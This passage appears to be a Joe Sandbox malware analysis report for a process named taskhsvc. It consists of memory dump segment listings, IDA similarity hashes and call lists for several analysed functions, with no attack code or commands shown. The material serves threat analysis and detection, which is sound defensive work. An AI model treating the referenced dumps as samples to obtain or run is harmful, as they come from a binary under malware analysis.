                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: L'
                                                                                                                          • API String ID: 1190921433-318193417
                                                                                                                          • Opcode ID: 8044206b046c0e4d9a1395e9b6b0fd96e65f18d95ccddcfca9afc6b4ee7e08ac
                                                                                                                          • Instruction ID: 12292686b4f10c3ee93e0e45396eb47cc9f0689230b450e641bbcf8c677107f4
                                                                                                                          • Opcode Fuzzy Hash: 8044206b046c0e4d9a1395e9b6b0fd96e65f18d95ccddcfca9afc6b4ee7e08ac
                                                                                                                          • Instruction Fuzzy Hash: 6231F2B49043059FDB00EFA9C545A9EBBF0AB88304F01882DE994AB351D779D949CFA2
                                                                                                                          Function 00D4D1B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D4D285
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00D4D201
                                                                                                                            • Part of subcall function 00D4B78C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D4BF53), ref: 00D4B7B3
                                                                                                                            • Part of subcall function 00D4B5F4: abort.MSVCRT ref: 00D4B64A
                                                                                                                            • Part of subcall function 00D4B5F4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D4C013), ref: 00D4B660
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortstrrchr
                                                                                                                          • String ID: T$
                                                                                                                          • API String ID: 2422377151-1355959460
                                                                                                                          • Opcode ID: 56412e6560a17253484acd622b6c2aebb4aea2414327f02d8f571517f7616f5a
                                                                                                                          • Instruction ID: 1727c9c760fccab01bb9cebef692f69c4f16ccfd75c26dd2e9fb1399185d772c
                                                                                                                          • Opcode Fuzzy Hash: 56412e6560a17253484acd622b6c2aebb4aea2414327f02d8f571517f7616f5a
                                                                                                                          • Instruction Fuzzy Hash: 6C213BB4904206DFDF10EFA9C4856ADBBF1EF04354F048829E894EB354D778D8458B65
                                                                                                                          Function 00D521B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failmemset
                                                                                                                          • String ID: (
                                                                                                                          • API String ID: 3011662016-3887548279
                                                                                                                          • Opcode ID: 29a4c1d1155f5522ccb31c8fb932d513671250742e6e67cfefbfe0d3b378d9e4
                                                                                                                          • Instruction ID: c1ac7e441487c82113d787a88455253019508e4b83a75b3039f458a6be23b3d8
                                                                                                                          • Opcode Fuzzy Hash: 29a4c1d1155f5522ccb31c8fb932d513671250742e6e67cfefbfe0d3b378d9e4
                                                                                                                          • Instruction Fuzzy Hash: 1221C6B4A042058FDB04DF69C585B6EBBF0EF49318F018569E864EB390D378E80ACF95
                                                                                                                          Function 00C341A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C3456D), ref: 00C34241
                                                                                                                            • Part of subcall function 00D5A6FE: free.MSVCRT ref: 00D5A758
                                                                                                                            • Part of subcall function 00D5A6FE: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,00D1AB71), ref: 00D5A772
                                                                                                                            • Part of subcall function 00D5E68B: X509_free.LIBEAY32 ref: 00D5E6B8
                                                                                                                            • Part of subcall function 00D5E68B: free.MSVCRT ref: 00D5E6D8
                                                                                                                            • Part of subcall function 00D5E68B: free.MSVCRT ref: 00D5E716
                                                                                                                            • Part of subcall function 00D5E68B: __stack_chk_fail.LIBSSP-0 ref: 00D5E730
                                                                                                                            • Part of subcall function 00D5D543: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D5C979), ref: 00D5D5A9
                                                                                                                            • Part of subcall function 00D5D543: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D5C979), ref: 00D5D5EB
                                                                                                                            • Part of subcall function 00D5D543: memset.MSVCRT ref: 00D5D61A
                                                                                                                            • Part of subcall function 00D5D543: __stack_chk_fail.LIBSSP-0 ref: 00D5D62D
                                                                                                                          • free.MSVCRT ref: 00C34227
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failfree$abort$X509_freememset
                                                                                                                          • String ID: ,
                                                                                                                          • API String ID: 3362070322-3772416878
                                                                                                                          • Opcode ID: 677b2dac045f7e9f9ad0d7735c47f6761fa163995b5d16fb5623e8318589ae0c
                                                                                                                          • Instruction ID: 4e9b2eb235d6489d62684667652757e77b83569260d406e99c885391fd307897
                                                                                                                          • Opcode Fuzzy Hash: 677b2dac045f7e9f9ad0d7735c47f6761fa163995b5d16fb5623e8318589ae0c
